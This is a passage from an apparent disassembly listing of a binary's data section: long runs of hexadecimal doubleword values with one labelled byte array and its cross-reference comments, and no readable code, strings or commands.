0CCB81F71h, 0AE3705AFh, 0C0D64021h dd 252D3D87h, 0F944D21Ch dd 7D40CBFh, 0CD958EBh, 70967E48h, 8200C111h, 0C7AD1BA7h dd 1AEFEh, 0ABFC51C8h, 60F294Dh, 80006778h, 4BF46F4Eh dd 0FC6555D3h, 0B7160038h, 798EDF66h, 2500D717h, 91DBDAE4h dd 0F774723h, 9FC11850h, 0D28C75C1h, 0D6953098h, 7D04F900h dd 6D37FFD1h, 7AE10272h, 9E22452Eh, 0B80B29E0h, 20F0A018h dd 7CDF210h, 0E4D217D4h, 6D9B631Dh, 7C30D1C8h, 8FDC1F1Fh dd 115C480h, 0D83920h, 0BC9FC84Ch, 0C9E0296Ah, 8609FE72h dd 8FF1B56Bh, 0D3E380BBh, 1C95A361h, 0C0C817A8h, 0E75B6F65h dd 1507A466h, 0A94D29E0h, 50E5C5A0h, 878A036Dh, 0C00585A8h dd 7DF85BC0h, 0F1CE5500h, 0BA679A23h, 0DD360FF3h, 84C015D0h dd 0E01676E3h, 1B3B9B00h, 0EF377953h, 182607EDh, 407E2BBBh dd 81039FACh, 0D3E0BF07h, 38705D44h, 79997342h, 202C014Dh dd 4E50D576h, 0FB8FF4Fh, 4000612Bh, 7DCDE41Bh, 133258Fh dd 807A89DEh, 0DC83CA58h, 0FF908D6Bh, 17009B72h, 6940F527h dd 1D20631h, 0AFEBBA32h, 406DAE95h, 0EAB3984h, 650BE500h dd 3383CD46h, 3915F202h, 0A307C9F3h, 6053F57Dh, 4DEF2ACh dd 9C8F7900h, 815857B2h, 8E0E07F8h, 0E55AA4F3h, 8C1580EEh dd 29000D77h, 49BC5D51h, 71D26943h, 52E8C8E1h, 0E06A5C62h dd 747E67F1h, 0D44C00A6h, 0C27898FFh, 0A800E5D6h, 17E8542Bh dd 7A75224h, 73E2CC01h, 0ED2A802Dh, 0B70CA1FCh, 300657FAh dd 6CF4031Ah, 64EF4285h, 0ECFCF8D0h, 251DC013h, 0FA104B00h dd 828F67h, 3C5B7869h, 5FC6DA2Bh, 0DE36E700h, 35DFE91Ah dd 96BF1C9Eh, 468340D1h, 0BA030804h, 33D2B58h, 951ED058h dd 0C64AE820h, 0A7CC03E1h, 486F3BB1h, 12E4DF98h, 2230A603h dd 0B86B15CBh, 355DF2h, 1655846Eh, 7341E48h, 8B60F500h dd 2642CCEBh, 0EC9831h, 0F2731376h, 746D6659h, 993B1D17h dd 3ECC0A00h, 77F1BB1Bh, 0D5C60002h, 0A22B42E4h, 0C5008507h dd 0FE837787h, 0E53BB8FDh, 0F7C6DCh, 0ED60762Ah, 0B538EC93h dd 259EAD00h, 0C9B0A0EEh, 74084C87h, 44773700h, 0AB59AC50h dd 18C93B5Ch, 7E5A649Fh, 960B0A30h, 0E88D098h, 0D8206854h dd 34D3E223h, 3BE5039h, 0D66B44EFh, 2ACE8B9h, 5F742EC0h dd 38003D44h, 92DE7B27h, 0F100E15Eh, 6B144DD9h, 6D5FE3h dd 0A830134Eh, 1EF2BC9Ah, 7D928402h, 60EAECA0h, 3D83A50h dd 0C6D0897Ch, 5B813FFh, 0CF002901h, 49229E8Dh, 6E6F64h dd 0EA1F6A5Fh, 0EBC3B41h, 0E1756CE0h, 8E029DF0h, 0BBA8AFB4h dd 61C05D6Bh, 3F03BE4h, 16EB7A00h, 0CE3F8122h, 1C980Ah dd 0CDBA26F0h, 5F78A419h, 45C87501h, 6742A289h, 0F741B880h dd 2084E9C2h, 0F601CF78h, 5D1EE0D2h, 0BEF83EA6h, 828E005Bh dd 70079C2Ah, 620086EDh, 22F0A446h, 3E4863F4h, 0E381CDF9h dd 1564A775h, 878430C5h, 0BDB98500h, 0C4213388h, 0F44200BBh dd 1A0289E4h, 8A0F4770h, 404AD676h, 3C313D86h, 3D9E6BEh dd 0B1FEAD5Bh, 0DCD240C6h, 0EB5E75C0h, 88EAF674h, 0E48D3800h dd 24112736h, 6F70034Fh, 0FC91A0DEh, 0F4832A0h, 5CE3C550h dd 988BA00h, 9B0C0E66h, 3F18002Ch, 89935A13h, 623CA4BCh dd 681F80ABh, 49EC734h, 6B301D8h, 8AE21BA3h, 0EB7C4BCh dd 0A489B500h, 0E0E3DB14h, 0CBFE00AFh, 5D6B3BFCh, 51140F49h dd 1C0124Fh, 0ADD7B790h, 20306E03h, 0DEAE00ECh, 44208D7Bh dd 0CA44F569h, 0A91A0021h, 0D5D4BE74h, 41005D9Eh, 6EC16109h dd 13920E0Ah, 402215h, 0E296A4D8h, 0D97C8229h, 1A778B01h dd 65377E38h, 0FD6230h, 91F56396h, 0D5693CBh, 18D65E00h dd 81C02922h, 0C0BD9816h, 63EEB038h, 7A034704h, 9F272659h dd 3B317A85h, 2200AF9Ch, 0DF5FDEA9h, 9F4C80E2h, 0EE2418BCh dd 4BD4B9h, 0C25FDBF6h, 0A335CABEh, 902360Bh, 0D01645h dd 17349CDCh, 7D4E5179h, 0C54F2C00h, 2A93C90Dh, 0CDA1FABh dd 3B1BC08Ch, 1E0649C7h, 30E2B58h, 0A5DE50ECh, 0E5202687h dd 395A06BCh, 0B50F10FBh, 80144B6Dh, 0B9B673F3h, 0E1C1CF9h dd 871C04Fh, 0C4D2DEF5h, 0CD079C73h, 9969518Dh, 0B601F77h dd 763A389h, 85E47D26h, 0B31DC0C8h, 2B007674h, 0D3786F05h dd 274E02h, 0BDBAEFA7h, 5A7AD4B7h, 0E49F9D14h, 35131F84h dd 0F333FDC3h, 0CE08A8B0h, 75FA9Bh, 876BE327h, 0E75651DAh dd 109DFB04h, 0EC80D1F5h, 0F45B0B93h, 0C8A50076h, 0FAE1B4AFh dd 32E2EE2h, 392C24h, 20426C40h, 1E3E701h, 516ED898h, 0F82E9702h dd 4E589F23h, 95680072h, 0D68112B8h, 6FBD0114h, 77CBE276h dd 6705D9E1h, 340B12C4h, 0E9E38C05h, 7E4DEC9Ch, 11FC0002h dd 4C81F55Eh, 0F019924h, 0D2182F6Ah, 0E3C36756h, 60403FD0h dd 0DA255A18h, 0F0F8F624h, 9EBECE01h, 6410884Dh, 0DA0020h dd 2DCA042Bh, 4FDF43B7h, 568E1304h, 0CC0227Dh, 3AF17A09h dd 3B9F969Ch, 0D4C803Fh, 6BAE20F3h, 0A6113E3Ah, 0DE0094E0h dd 35BD28FCh, 194800ECh, 5E0F0753h, 10C075C9h, 81DAE142h dd 32BC05E5h, 80637A05h, 7D8E5E3Fh, 0F500E37Eh, 50E929F8h dd 3E7CA1Dh, 0C56AAD44h, 72123CECh, 0AA00E59Eh, 2612E8EDh dd 2A950349h, 0D818301Ch, 0A090B9D8h, 159BE500h, 3BB07D66h dd 3CB8D6h, 6AD26521h, 25E808E6h, 281F3003h, 0F0D53520h dd 6B0D31h, 2BA59AADh, 0E6C8C62Dh, 24454138h, 0BE007A90h dd 637B8E92h, 7AA905DCh, 0C076F9B4h, 39C438C0h, 90E73788h dd 0CB5F00CFh, 0DC217257h, 0D50779F3h, 8F2996C3h, 40E864B0h dd 20B8F1h, 24334483h, 5BABBBAFh, 0A305C900h, 84DC8CAh dd 0A7F80089h, 95817A19h, 55006CF5h, 798D05AFh, 0EAE1A9F1h dd 0D6F000A1h, 339DA0C5h, 8703FB11h, 292510BEh, 71C7A061h dd 0C63B0020h, 465DC12Ah, 0D224AE3Eh, 0D30F30ACh, 41F00092h dd 9824BCB4h, 767F0EF8h, 6C81EF2Fh, 0E8EA38C3h, 7D0C1DACh dd 0B81C53E7h, 0B37905E6h, 0C09F8A39h, 2276AA70h, 0F1E47007h dd 0BD4066CEh, 1CD9EB96h, 0C0ADCB2Eh, 2DC4BBBh, 61FE6D43h dd 0EB229B03h, 0A0184D38h, 0C06FE70Ah, 65F71290h, 0F50E8886h dd 0E2C743CEh, 6B13F955h, 0C8ABF340h, 3CAD3Eh, 5228AC54h dd 511FE635h, 0F5E8F939h, 23048809h, 15A4803Fh, 952BE75h dd 2D6C82F5h, 782EA083h, 0D2CB0480h, 18836205h, 168125BEh dd 1E60D8C3h, 0C24D00FBh, 90E1AC2Fh, 7B0E2A76h, 0A0F63D8Eh dd 5ABD1914h, 0FB6100B1h, 0FF943210h, 66009917h, 0BE86D64Dh dd 0B878F319h, 47441258h, 0F4689DF4h, 0D7E01B5Eh, 0FEC2833Ch dd 0A1037100h, 1AC315B2h, 0D6D10B6Bh, 688005ADh, 0D75EE546h dd 0E3A9800Ah, 431496F1h, 10C526E0h, 0B92DBE60h, 0ECE63045h dd 62A34350h, 0E7C23A12h, 0D89CF400h, 519D07h, 9FF12E11h dd 0FC20DB0Dh, 2CAAF914h, 80193CECh, 0C4153779h, 49D58h dd 1898E6E2h, 0FDD9205Eh, 52165A00h, 8F662D0Bh, 7A91073Bh dd 60320EDDh, 7035492Ah, 0E9502907h, 4F70BF85h, 3687D9h dd 7FF865E0h, 43456D81h, 17EC43Fh, 2AD1DB20h, 5A31DA8Eh dd 325C60CEh, 613E0126h, 0F7E4690Fh, 3AE02A67h, 0DDDF0015h dd 8A4ED01h, 0E5005C91h, 6F123207h, 8D1D39h, 0BADBFD99h dd 5EFEFF83h, 111C3B00h, 0D2B7BFA3h, 3DE209E4h, 60440384h dd 0BBBE301Eh, 0EB19DCC0h, 52FCF7h, 0E6BD7444h, 713E4CD9h dd 2A79327Ch, 0C2317501h, 3355A2Dh, 0B56AE440h, 5CDF660h dd 0EC3DE733h dd 5DB1841Eh, 0A85142DCh, 0CE20622Bh, 0B52C3973h, 0B73387C0h dd 841BF425h, 0E0E3518Ch, 9E06770Eh, 68995000h, 0E4712023h dd 0FB24FCE8h, 4C008480h, 0BD69A4ACh, 2674ECB0h, 4E4CB7EBh dd 0CF1EF894h, 0C1530095h, 10979188h, 60EF5A0Eh, 44DF4034h dd 0F9EB63h, 0F7A0B4D6h, 32881385h, 31397AE2h, 0AC90034Ah dd 0E548BBh, 0DAA32551h, 0E4ABD923h, 5DF75100h, 7C9732A4h dd 0FBE10027h, 0CE5E9C1h, 0CD005970h, 0B2BC1666h, 2FCE3Eh dd 81689A38h, 1D2E848Fh, 0A2002476h, 2D957060h, 5C31A32h dd 0E356C6EDh, 29F8C0F3h, 0F739AA63h, 34C18BEBh, 0DE5C00D0h dd 184EBDh, 0B4099356h, 8B25CA1h, 0C831F300h, 29FF4D5h dd 0BAC00116h, 5B78E62Ch, 0D3AFCCE4h, 0AA35B91Eh, 0EFEDFA47h dd 843733C0h, 411E0BACh, 9DF81D75h, 0B4075200h, 0B721FC1Ch dd 0AE6F00F1h, 0D8C49E8Eh, 4A026C62h, 7A4F4DCDh, 0A8FB405Eh dd 0D9B0E6h, 0E0A03560h, 23509A48h, 3B6CB400h, 0E3A67D84h dd 6037FF9h, 0F6F7697h, 991CCCEAh, 0BCBF968Ch, 0DB840056h dd 68E01BEh, 466E00F1h, 152075C4h, 0B007451Fh, 4AD1A2D5h dd 97629090h, 0A7E8033Fh, 0B9CA3110h, 2A8D8780h, 9EEEB102h dd 8067F2C6h, 0A58B4BB0h, 261B000Ch, 0E607DF82h, 701C0F81h dd 574F84FCh, 0BD3800E1h, 0DA3729h, 8018D186h, 0FC56B970h dd 0DD0054F2h, 60647628h, 22AEC0h, 3FA5F8Bh, 6B116616h dd 29386700h, 2DBD0172h, 44E900DBh, 5A39767Eh, 907D7A45h dd 57D3D800h, 33A2DA3Ch, 6EA1073Eh, 0B0F9C91Bh, 6245D5F5h dd 71005DFAh, 82350693h, 0B3DDC6h, 4C96D4EFh, 0A6BD2C79h dd 0FE628100h, 0D9FA2934h, 0F17624E6h, 5EDC0338h, 23C02752h dd 0D20156B3h, 334B14F5h, 0C9DC7729h, 0A8FC1C85h, 0F665405Ah dd 0CC1584ECh, 0FBCF5100h, 53725425h, 18D4007Bh, 471FC67Dh dd 0C8079CC1h, 0B6BAA2BCh, 4A4B0E00h, 3BB50F26h, 0EB80C9B8h dd 2B74A40Ch, 521A58h, 0D870643Dh, 0C53441h, 0DD930D2Ch dd 8D3C44B8h, 8F5FF800h, 0AF6FB6E9h, 756002Bh, 434FB031h dd 0E70036F6h, 0D12A0FB2h, 16792754h, 3F2FA6Eh, 0EE35CC68h dd 0AE5C903Ah, 9F000F02h, 4AE7D2CAh, 0F18E00C6h, 0DE0FF005h dd 230FCF1Ah, 6184DAF5h, 0A61ED2Ch, 0B9C7B6C5h, 21810B79h dd 0DDC460CDh, 0BA20C8FBh, 0B7031CECh, 559FEB45h, 0E50C98CBh dd 2A7F0016h, 35993A6Ah, 400115A7h, 0F960742Ch, 7C249CC4h dd 7BBD12C7h, 0C5DC00F7h, 0ED481C14h, 0B4307D00h, 0D07CCC87h dd 79EFCFEh, 6078F57h, 0B01DC75Eh, 0AA4F66A3h, 46D50900h dd 43694440h, 1A49008Ah, 0C980F7F3h, 10CF6C5h, 6063398Fh dd 3740B577h, 0E603E738h, 2B26BCB0h, 1821C63Ah, 36D09E75h dd 0DB1D5062h, 731DED59h, 0E11D132Eh, 2170AF5Ch, 73888FCh dd 31A77DF0h, 0CAD9308Dh, 360621A3h, 0C5536FA0h, 0FA8F1D36h dd 0E902B8F8h, 8329E6F0h, 339E3881h, 1DF900A8h, 86220CA7h dd 0FF2860D3h, 0F4194206h, 370C78Fh, 0C5F9F8ABh, 9820BB51h dd 7550F452h, 20084330h, 0DA15054Fh, 0AF546D31h, 6AE4D102h dd 594AC09Ch, 39CB00B0h, 57557A56h, 4A3F7E4Ch, 7DB8E063h dd 0E0C1514Eh, 3C4100B6h, 0F1089B56h, 6207DB61h, 0CED140C9h dd 0A7B7E03Eh, 3C2DC82h, 0C50CF34Eh, 0DAB864AFh, 0C97A89BDh dd 1B8448h, 0F9BEE7ABh, 4D9CCBh, 0C7CE0DC4h, 0D4714F08h dd 12AB0700h, 0FF1BBE45h, 52390055h, 51086BB8h, 0C10F5773h dd 0C0A572C5h, 922B3281h, 0EAF700DEh, 33B8A35Dh, 8D002DC6h dd 7637E917h, 59791Dh, 6DE47E3Eh, 0A96ACADBh, 7F30F549h dd 94B71928h, 99CCDA18h, 5DF3F0h, 174894D3h, 8FB826E5h dd 0CA131C00h, 1ED95370h, 0F929C88Eh, 245AEE42h, 8D0B210Fh dd 7A101512h, 0C9DB8863h, 89893288h, 44C40811h, 28A0579Dh dd 0AD8896B9h, 110680D4h, 0E5BB0800h, 0B968DA55h, 79493B3Bh dd 9A10DB00h, 4C85B4F8h, 0C9B3000h, 5A9C2A12h, 640A00D7h dd 3FEBC17Dh, 0BC009633h, 0BB678523h, 0F32E9E4h, 0FD37A102h dd 8AEE152Fh, 8BC45C0h, 0BA00C62Ah, 0FF16010Eh, 58040h dd 945B09F3h, 0A4EA2165h, 0D3EF777h, 7F7A81EEh, 0A7E30BD8h dd 7050D0h, 73F085ECh, 31637403h, 0A4E680FFh, 0EA8392D0h dd 0ED840025h, 55894E5Ch, 0F000E706h, 0AFBEC102h, 40011Dh dd 749CB122h, 0BB546B62h, 42E2BA1Fh, 207C8D0Fh, 5BA4CFB2h dd 0E07C90C3h, 0AD66070Fh, 5FA93036h, 1C504680h, 2C008468h dd 41A4B4F9h, 2DA7Eh, 9D57F1FFh, 0B14AF3EEh, 4D20051Fh dd 7327B880h, 709C82h, 81ABBCC6h, 455E357h, 7C6FC400h dd 0CC90B23Ah, 0A581E68h, 0AD0F00E9h, 0C48F1BA3h, 478B6C00h dd 0A8736F45h, 4E49023Eh, 753CF355h, 6EE64040h, 1E54DD58h dd 5EC0EB88h, 21D6B86h, 92CC00F5h, 0E882BD3Ah, 0FA00C143h dd 31CBF056h, 5C94A764h, 0E30049C3h, 8826726Fh, 0D901700Dh dd 0F5F15CCBh, 0A03A650Fh, 29067BDBh, 0ED80BE04h, 2F9B0019h dd 61013C47h, 3079F3Fh, 86878CFAh, 1A0AE6C0h, 0D1F200B7h dd 32AC7FCCh, 0D163D42h, 0AE2AF8h, 9201B316h, 670090D6h dd 0EF2BEEF4h, 77AA5033h, 0E170004h, 0AC066B4Fh, 0CCFABBABh dd 53137FE8h, 39008482h, 591AF010h, 2F8F0066h, 0E24EAE3Dh dd 0E6000D1Bh, 0B6432B8h, 0FD7CBC2h, 70F7B9A6h, 4098BE00h dd 20C0B7F6h, 52C8E2D0h, 272A00CDh, 0E689081Fh, 0F4097BFAh dd 803B4E47h, 0D94154A8h, 0C67500AAh, 0EA895A6Bh, 8BF26A3Fh dd 0CA8AB800h, 7FFC5925h, 21D3004Dh, 0E629EC88h, 8E00309Ah dd 42108D51h, 4F24CB5h, 0F34996B2h, 0D19080EAh, 68007E99h dd 0F78E5C16h, 0B8651A10h, 5A9E0080h, 758E2E9h, 21267FD8h dd 7C26E7ABh, 0DA80111Fh, 62EB1226h, 963100AAh, 67B0A3C9h dd 2B3CBA71h, 0ED7F00FBh, 0D53DCD26h, 21E6009Dh, 0A225BBF8h dd 19098424h, 8A60E099h, 22087882h, 0FC9277h, 43B989D8h dd 8B03A290h, 2FD12606h, 0D6C88A64h, 1B0906E7h, 0DE01B163h dd 790FA459h, 492057BEh, 0F818C7AAh, 16492045h, 0CB589C6Eh dd 0A32C00D0h, 0FD1F7FD7h, 0D2E00036h, 0AA59382Ah, 489872DCh dd 589A0400h, 0C0EE9581h, 0E191880h, 0BD1A48B8h, 37018C73h dd 183199CDh, 0E1203568h, 652C001Eh, 7728415h, 190012BBh dd 9AA86C52h, 0F1568Eh, 140640EEh, 0F0C7F4A5h, 2443FB00h dd 368D5D82h, 6C9A8Ah, 0E70163F5h, 0C774E173h, 7C7ADC00h dd 0A127C4C5h, 0F687027Dh, 97FF1CD9h, 2BC633E0h, 80C9403Fh dd 88437E05h, 1CBC956Ah, 0C0C28E11h, 0EDD54258h, 0E638CEF3h dd 0C09DA4DBh, 2047926h, 0B0C081C9h, 0BB0C8h, 17834A31h dd 0CF4D305Fh, 0DD3C3F7Ah, 0A04B80A5h, 2B55DC7Dh, 1F4C3887h dd 925A3681h, 30D9599Dh, 0AE00E9C4h, 94BE2185h, 7010BCh dd 0CF7A944h, 67CCC36Fh, 0D7E8F80Ah, 8B13A8BAh, 0E42DE603h dd 944DE89Fh, 1C95751Dh, 0C0FB39CAh, 0BE85556Dh, 0D485E18h dd 33130098h, 0A6C58426h, 1D25007Dh, 60610F8Bh, 0A800D5FFh dd 475E2E53h, 556B42h, 156434CCh, 9EDC2506h, 24663914h dd 978400B4h, 2677E85h, 25FE0FDh, 0ABECDB3h, 916047EDh dd 60B0CCF7h, 5364C200h, 2C8D5F1Ch, 4F9B00ECh, 7A67641h dd 7226C8C0h, 7F803482h, 1388D42Ah, 0B6010759h, 60A5EDA3h dd 0D7EA5FF6h, 97E80B00h, 31C83705h, 0B6C400A0h, 28E1934h dd 0CC7C84F7h, 803CFB3Dh dd 0E4F10D52h, 0B51FBC4Eh, 6273CA50h, 0F3ADA900h, 0CF6A05D3h dd 258C0150h, 56751455h, 0BB5DE46Eh, 1000997Ah, 60ADC115h dd 540D9h, 27D8AA5Eh, 625A5986h, 4AA6EF01h, 2B691E14h dd 0FCCA84FCh, 5C1102E8h, 3F223DBCh, 390073F0h, 483B4224h dd 6640D0h, 0B9BD7E7Bh, 6E7C13D2h, 8CECBC00h, 5F96390Ch dd 926975E1h, 648700E0h, 90CE7318h, 3C183451h, 0E0120386h dd 9E3A3E0Fh, 80E80624h, 0CE775835h, 8E01677Fh, 4AE3594Bh dd 0E020C168h, 3A0D0CFEh, 11185621h, 0D43E2A00h, 86B2BA3Dh dd 32E50242h, 471C88AFh, 877870C0h, 0CB8D081Ch, 779EFB40h dd 0B8D1C56Ch, 36B9008Ch, 7EBBC3DEh, 0BD00A04Ch, 9D81335Fh dd 38611EE0h, 93002D80h, 0D289F4Ah, 877AB182h, 0D800D5E4h dd 92F56ECDh, 25077451h, 46D08697h, 691D5D1Eh, 0DD70FC40h dd 791A8E1h, 86C90516h, 2C5890C5h, 1D0EB988h, 60AE8AF5h dd 0E44F6746h, 0FEAD0EE3h, 0D9A02533h, 3E1F4D9Dh, 0EBD00B00h dd 0D82102A8h, 7E690098h, 5E126E46h, 36076CDBh, 0C103CD5Bh dd 8A215780h, 39280E43h, 0DCE01EF5h, 0C24D3D90h, 0D1C48101h dd 0A3B48AF9h, 0A87DCFh, 0C8E9DAB1h, 0A0E55C32h, 0B8345A1Fh dd 85441583h, 138352h, 0D19E2BCCh, 0A85773ACh, 86F73600h dd 1C6B53BAh, 82760064h, 3E908925h, 71009378h, 840E5197h dd 3F4248CBh, 770126DCh, 0D80ACE29h, 591FC88h, 1AC3148h dd 563AEBB3h, 69FCE48Ah, 0C815CAAh, 87649C26h, 0F08B7EB2h dd 0BAD4A2ADh, 0D8D36A16h, 0DEC08440h, 0EB373Dh, 17E3F649h dd 3CF7C482h, 96971E00h, 0B7B24054h, 80C70242h, 0B5B9D2FEh dd 704C3CE1h, 2D0EC5C5h, 60DA436Fh, 70CF7BBDh, 0FC84B0EEh dd 82B0004Bh, 5FB1562Ch, 180BD920h, 83C8680Eh, 0F06B8B82h dd 3557AA8h, 0E2CFF927h, 0CEC84EC1h, 62000F8Ah, 36B1FF52h dd 48493002h, 590EC85Ch, 1772C25h, 0D66D0660h, 0C56C2011h dd 80CD6324h, 0D916A007h, 1CE3573h, 0FAB8F10h, 0E838399Ch dd 661E9DDAh, 0C180CAA1h, 4B13F758h, 0D1E125D2h, 0A60700Fh dd 3BB993F9h, 2AC8FB00h, 52908F0h, 0C79D070Dh, 0A0DF9463h dd 0AB843B23h, 0AD3D712Ch, 7F256E00h, 0B0C56A42h, 9D40030h dd 6596CC51h, 0F00268Bh, 0D8C71008h, 0E7EFD0h, 55ADF4B6h dd 6D041958h, 0A85E212Eh, 3612A400h, 0FC9DC39Eh, 34EE0709h dd 0F46B26CAh, 8044805Fh, 161DBA6Ah, 660021DCh, 7F6E44F1h dd 97899EFh, 0C880304Bh, 0B3A994CDh, 4D0B5C00h, 6A01D7E9h dd 5ED00DFh, 0C8EAA074h, 0E2FEBB81h, 2C38BF00h, 4C24AF1Bh dd 0B46D038Ch, 54C02232h, 4258292Eh, 0B26C1F00h, 1D310C67h dd 81CA2AADh, 952B3E7Ah, 0F09DF86Eh, 0D260A4A2h, 0B6CEF48Bh dd 968E057h, 241AE7A8h, 3C54EC36h, 55004258h, 2321B8D1h dd 6B389484h, 5F04809Dh, 0DDA528D8h, 0D17B32h, 0E057A7D0h dd 5C143307h, 4DADD400h, 74BDAF22h, 78C576ABh, 0DBD7004Ch dd 423C7BBCh, 450EE6DAh, 82937EF9h, 0E09FA46Eh, 0D9FF94h dd 38E48126h, 225A6C6Bh, 0F7FAB500h, 0E0DEA602h, 5B930066h dd 65CEF9E7h, 0E13A7041h, 10E580E4h, 6C6681B5h, 140407A6h dd 0D0A076F9h, 0D8EED77Eh, 98389DE6h, 420100CFh, 9FCBB426h dd 0F5A90761h, 21C571h, 47334618h, 110552E8h, 2F30EDB0h dd 0C04ED883h, 486F038h, 0D1142D54h, 8348E0D3h, 23DC1500h dd 36FB6388h, 269E3E74h, 0A71C9989h, 5C95AC03h, 1DE80690h dd 4BAADE06h, 77A6C2E6h, 605F60D8h, 6C590185h, 2EB02401h dd 0F49CC614h, 0CF609A00h, 688C1A00h, 833A215Eh, 9C09A6Dh dd 1409AF7Ch, 0A3C1B400h, 9B001595h, 0F9AB2B71h, 3CE7CE3Bh db 0A6h byte_520045 db 0DAh, 1, 7Eh ; DATA XREF: ___:00437A28o ; ___:00437A40o dd 29898F32h, 1828D3h, 0B23C4EF6h, 784A116Ch, 0F9854CBAh dd 28C01900h, 2F81CC52h, 65E0B607h, 601EC6F1h, 7DA7F3E1h dd 102C00ABh, 3B060B5Fh, 0B707BF68h, 8A1EC2FFh, 92EABAA0h dd 74CB006Ch, 2D3F42CFh, 4300782Bh, 6F6BFF1Eh, 0B4AF6Ah dd 7A4910FCh, 0DB36AACCh, 0E7252300h, 6ACD91F2h, 0C9F30077h dd 0FF99F503h, 0B8A8A530h, 6500F164h, 0BB37C61Bh, 381A9BC9h dd 3E27D9DBh, 0E915A400h, 0FC008EABh, 3C5731A3h, 172AF77Ah dd 1E29E80h, 5CB65272h, 1D06DC42h, 8CF88324h, 5D908100h dd 134EAB5Ah, 40A186DDh, 0D341E35Ch, 0D6EA9895h, 0F95FBF00h dd 0BB4940B5h, 7A0B066h, 424F8A6h, 975A8035h, 4C721AD8h dd 0C6AA9B1Eh, 0EBBA00FCh, 0CB4AF644h, 86DF2E4Eh, 65570004h dd 5BA539BDh, 8BD3CA02h, 0E3547C47h, 0E35AC0A8h, 8E6600ABh dd 0B2036BCEh, 0DB0E924Ah, 80FD8CA7h, 7B834DB3h, 72E61FB1h dd 242940F7h, 9F3947C0h, 0DD77300h, 0F0214159h, 2E2C0066h dd 8641AF5h, 14B8AEC4h, 79E29500h, 26C14310h, 0A3CA008Ch dd 82A96EB0h, 1C004D1Fh, 0EE8FFBC9h, 0B9850Ah, 59F00DBEh dd 0E2C3C0B2h, 3060BB00h, 9192201Dh, 85C4109Ah, 200D3A1Eh dd 9FB800F0h, 25BA6E87h, 3000466Ch, 0FBFC56C2h, 9DACCF9h dd 24EE2931h, 71BC5380h, 4400D95Ch, 0AC58A62Fh, 74C079h dd 7FD52409h, 1FAF4348h, 0FF89EB13h, 0AC532400h, 0E39585h dd 0A18426FAh, 96127E6Ch, 0B50FFC94h, 0FC106025h, 23AB8Eh dd 335543F9h, 0B6F0F8Bh, 0AC78E818h, 0CDD311h, 97521DF0h dd 0C6F555C9h, 5C37BB00h, 852BB6B2h, 118809C8h, 6C8030CAh dd 0BB91D8F6h, 3C90293Fh, 0BEFF8B73h, 0DB7C20AFh, 1F1F94F0h dd 587FC41Eh, 56B2B03Bh, 0CCC5F312h, 5D95FC40h, 5C4CECB7h dd 57010F83h, 2BEE1151h, 3D208760h, 805E9F62h, 0E3EC20F6h dd 0BB3B0134h, 0AECFB0CEh, 628880D9h, 0E81566C8h, 2C323F41h dd 3800CAC8h, 869388B5h, 6300DF52h, 36BE731Ch, 1A08E7Bh dd 7507FD7h, 0FC2CD185h, 89007514h, 6A9A2D27h, 0F21EC5Ah dd 0B1407836h, 40547367h, 83ED8AAEh, 68280D0Fh, 121F0099h dd 0EF4050B0h, 1DFD89D8h, 10F022h, 18ED11A6h, 1D0095D0h dd 723B8F57h, 65131Fh, 88F3811Ah, 465B91ACh, 59EBCA1Dh dd 1BA9E040h, 79864E71h, 4FE70009h, 0D40AF0B3h, 3B245045h dd 6A004E70h, 0D82B97EFh, 1C1400A3h, 0D2FA09A0h, 3D04FE50h dd 0A5BC9B82h, 25AFC480h, 0AE2B00E0h, 336B6603h, 0F50230DDh dd 20FDFEEDh, 0F1A080A9h, 7CC4CCh, 0DA742773h, 393B86D6h dd 9DE73600h, 0F8D59599h, 0A9C200ABh, 87EFF5F1h, 5E1616D9h dd 0D88243ADh, 8082E31Ch, 0B08B0220h, 0B1DFE47h, 6D81CF21h dd 2420030Fh, 0A5F25FFAh, 1F373912h, 7D5D1400h, 8DF6B9h dd 0B84C209Ch, 5717DE24h, 27D4F309h, 8530E748h, 4721E63h dd 904DFAACh, 3D583118h, 0AFAE0116h, 0D8172400h, 1777CAC2h dd 856521BAh, 0CE0C090h, 3F0022CEh, 88075F66h, 0E60E359h dd 674D7346h, 0AC2094EEh, 8DC71D7Bh, 1AEFA700h, 279011F7h dd 0DEDC2ECCh, 0CE3200B5h, 22612060h, 0CA10B200h, 3ED731Fh dd 1726183Ah, 0FC998E70h, 77238100h, 0DEE6BD18h, 53E400AFh dd 9213CF3Dh, 3100A4B7h, 0E5D4ABDDh, 1FA2FB9h, 0A80FAF87h dd 0E8EE9DA5h, 0CF00FF42h, 31566967h, 2AE772h, 532FDF81h dd 3BF0FB74h, 509E930Fh, 0E3B220FFh, 796B78Dh, 26EB21FEh dd 4CFA5041h, 1A705F94h, 0BC256B00h, 2BE3460h, 0A65013D8h dd 20D000DCh, 9F6BBF08h, 0F3893026h, 6CBEA300h, 799F119h dd 22F36725h, 339B2FDh, 1A7A6055h, 36A21DAFh, 18214002h dd 0D99982A8h, 5200CF98h, 0BE3347F8h, 0AB09CAh, 622CE95Dh dd 18664A35h, 0B0777E00h, 233AD251h, 36FA03DCh, 402A16DDh dd 13E8EE93h, 1C001E95h, 0E95B3B28h, 0EF0ABB53h, 0EBCC2F0h dd 43E05884h, 30E57A60h, 6D7ABFDDh, 49FBD500h, 0D6A69199h dd 84EB3C6Eh, 75618882h, 79401EA4h, 1C555CBDh, 0D6A8C48Ch dd 8A00ECEAh, 21A584E7h, 1D1B88Eh, 0BCF6F2F8h, 80729E46h dd 0CD31E060h, 56657Eh, 94E315BBh, 9161EF50h, 0DF634F70h dd 0C592D89h, 5095CB20h, 98F05529h, 0B385AF08h, 904000E0h dd 0FEDA5272h, 0BBF76D0Eh, 0BC0113CCh, 646E475Eh, 70797670h dd 323F003Bh, 542B6C3Eh, 0B17CE24Eh, 0B8125F07h, 0E0C03D46h dd 190FBC3Fh, 7819D4F7h, 0BE0C2F39h, 51AE5802h, 0AE013C78h dd 0D182DC76h, 2E73F1D4h, 153E7080h, 47346BACh, 5C714817h dd 8848783Eh, 0D3F2F7h, 34B8F906h, 3F2FF6FBh, 0B1106A50h dd 39B28F31h, 8840BB14h, 2F475h, 94921CF2h, 0CEB71689h dd 3321FA0Eh, 652D40CDh, 0DC347Ch, 0C1D2DA90h, 0C9BC8D57h dd 64005977h, 4EB15B48h, 3076078h, 91E61DA5h, 72B8F82Ah dd 481EC16Ah, 2E002BB4h, 0C9420C97h, 0E0F07DCh, 7959D4A2h dd 62123080h, 771EB1FAh, 6040CD15h, 0CE3B7CC5h, 0DABF001Bh dd 8A8B4A36h, 28001259h, 469EB866h, 627098h, 416520B6h dd 902EC901h, 0FD28C400h, 7063E3A7h, 